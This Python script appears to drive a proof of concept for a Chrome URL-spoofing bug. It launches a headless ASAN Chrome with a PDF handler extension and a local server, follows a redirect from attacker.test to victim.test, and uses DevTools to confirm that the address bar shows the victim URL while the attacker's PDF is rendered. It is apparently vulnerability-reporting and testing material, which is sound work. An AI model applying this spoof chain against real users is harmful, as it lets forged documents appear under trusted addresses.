#!/usr/bin/env python3 """End-to-end driver for the MIME-handler fallback URL-spoof POC. Starts server.py, launches an ASAN Chrome with the third-party PDF handler extension loaded, navigates to http://attacker.test:PORT/attacker/x.pdf, waits for the fallback+redirect chain to settle, then uses DevTools to prove the spoof: * the tab's committed URL is http://victim.test:.../victim/real.pdf * the bytes the built-in PDF viewer received are the ATTACKER body Requires: pip install --user --break-system-packages websocket-client """ import base64 import json import os import shutil import signal import socket import subprocess import sys import tempfile import time import urllib.request try: import websocket # type: ignore except ImportError: sys.stderr.write("websocket-client not installed; run:\n" " pip3 install --user --break-system-packages " "websocket-client\n") sys.exit(1) HERE = os.path.dirname(os.path.abspath(__file__)) CHROME = os.environ.get( "CHROME", "/chromium/chromium/src/out/asan/chrome") HTTP_PORT = int(os.environ.get("POC_HTTP_PORT", "18080")) CDP_PORT = int(os.environ.get("POC_CDP_PORT", "19222")) ATTACKER_URL = f"http://attacker.test:{HTTP_PORT}/attacker/x.pdf" VICTIM_URL = f"http://victim.test:{HTTP_PORT}/victim/real.pdf" def wait_port(port, timeout=30): deadline = time.time() + timeout while time.time() < deadline: try: with socket.create_connection(("127.0.0.1", port), 1): return True except OSError: time.sleep(0.2) return False class CDP: def __init__(self, ws_url): self.ws = websocket.create_connection(ws_url, timeout=30) self._id = 0 def cmd(self, method, params=None, session=None): self._id += 1 msg = {"id": self._id, "method": method, "params": params or {}} if session: msg["sessionId"] = session self.ws.send(json.dumps(msg)) while True: resp = json.loads(self.ws.recv()) if resp.get("id") == self._id: if "error" in resp: raise RuntimeError(f"{method}: {resp['error']}") return resp.get("result", {}) # drain events def close(self): try: self.ws.close() except Exception: pass def main(): profile = tempfile.mkdtemp(prefix="poc-profile-") server_log = open(os.path.join(HERE, "server.log"), "w") chrome_log_path = os.path.join(HERE, "chrome.log") chrome_log = open(chrome_log_path, "w") # 1. server ----------------------------------------------------------------- srv = subprocess.Popen( [sys.executable, os.path.join(HERE, "server.py"), str(HTTP_PORT)], stdout=server_log, stderr=server_log) if not wait_port(HTTP_PORT, 10): print("FAIL: server did not start"); srv.kill(); return 1 # 2. chrome ----------------------------------------------------------------- chrome_args = [ CHROME, "--headless=new", "--no-sandbox", "--disable-dev-shm-usage", "--no-first-run", "--no-default-browser-check", "--disable-gpu", "--enable-logging=stderr", "--enable-features=ApiMimeHandler", f"--user-data-dir={profile}", f"--load-extension={os.path.join(HERE, 'extension')}", f"--remote-debugging-port={CDP_PORT}", "--remote-allow-origins=*", "--host-resolver-rules=" "MAP attacker.test 127.0.0.1,MAP victim.test 127.0.0.1", "about:blank", ] print("[run] launching chrome:\n " + " ".join(chrome_args)) chrome = subprocess.Popen( chrome_args, stdout=chrome_log, stderr=chrome_log) try: if not wait_port(CDP_PORT, 60): print("FAIL: chrome devtools did not start") return 1 time.sleep(2) # let extension settle # browser-level CDP info = json.load(urllib.request.urlopen( f"http://127.0.0.1:{CDP_PORT}/json/version")) cdp = CDP(info["webSocketDebuggerUrl"]) # find the about:blank tab targets = cdp.cmd("Target.getTargets")["targetInfos"] page = next(t for t in targets if t["type"] == "page" and not t["url"].startswith( "chrome-extension://") and not t["url"].startswith( "devtools://")) sess = cdp.cmd("Target.attachToTarget", {"targetId": page["targetId"], "flatten": True} )["sessionId"] cdp.cmd("Page.enable", session=sess) # 3. navigate ----------------------------------------------------------- print(f"[run] navigating to {ATTACKER_URL}") cdp.cmd("Page.navigate", {"url": ATTACKER_URL}, session=sess) # 4. wait for the chain (extension load -> abort -> 302 -> victim) ----- committed = None for _ in range(120): time.sleep(0.5) hist = cdp.cmd("Page.getNavigationHistory", session=sess) cur = hist["entries"][hist["currentIndex"]]["url"] if cur != committed: print(f"[run] committed URL -> {cur}") committed = cur if committed == VICTIM_URL: break # let the OOPIF PDF viewer finish loading the body time.sleep(4) # 5. inspect ------------------------------------------------------------ hist = cdp.cmd("Page.getNavigationHistory", session=sess) omnibox_url = hist["entries"][hist["currentIndex"]]["url"] print(f"[run] FINAL omnibox URL = {omnibox_url}") # The built-in PDF viewer propagates the loaded PDF's /Title # metadata to the tab title. Attacker PDF /Title is # "ATTACKER_SPOOFED_DOCUMENT"; victim PDF /Title is # "victim.test real document". Read it from Target info. tab_title = None for _ in range(20): ti = cdp.cmd("Target.getTargets")["targetInfos"] me = next((t for t in ti if t["targetId"] == page["targetId"]), None) tab_title = me.get("title") if me else None if tab_title and "/" not in tab_title: # not a URL placeholder break time.sleep(0.5) print(f"[run] tab title = {tab_title!r}") # screenshot for visual proof try: shot = cdp.cmd("Page.captureScreenshot", {"format": "png"}, session=sess) with open(os.path.join(HERE, "screenshot.png"), "wb") as f: f.write(base64.b64decode(shot["data"])) print("[run] wrote screenshot.png") except Exception as e: print(f"[run] screenshot failed: {e}") cdp.close() # 6. verdict ------------------------------------------------------------ print() print("=" * 70) print(f"Omnibox / committed URL : {omnibox_url}") print(f"Tab title (PDF /Title) : {tab_title!r}") print(f" attacker PDF /Title : 'ATTACKER_SPOOFED_DOCUMENT'") print(f" victim PDF /Title : 'victim.test real document'") url_ok = (omnibox_url == VICTIM_URL) body_ok = bool(tab_title and "ATTACKER" in tab_title) if url_ok and body_ok: print() print("RESULT: *** URL SPOOF CONFIRMED ***") print(" Address bar committed http://victim.test/... but Chrome's") print(" built-in PDF viewer rendered the ATTACKER-supplied PDF") print(" body (cached from attacker.test before the 302 redirect).") print("=" * 70) return 0 if url_ok: print("RESULT: omnibox shows victim URL; rendered-body provenance " "inconclusive via title -- inspect screenshot.png") print("=" * 70) return 0 print("RESULT: spoof NOT confirmed") print("=" * 70) return 2 finally: chrome.send_signal(signal.SIGTERM) try: chrome.wait(10) except Exception: chrome.kill() srv.send_signal(signal.SIGTERM) try: srv.wait(5) except Exception: srv.kill() server_log.close() chrome_log.close() shutil.rmtree(profile, ignore_errors=True) if __name__ == "__main__": sys.exit(main())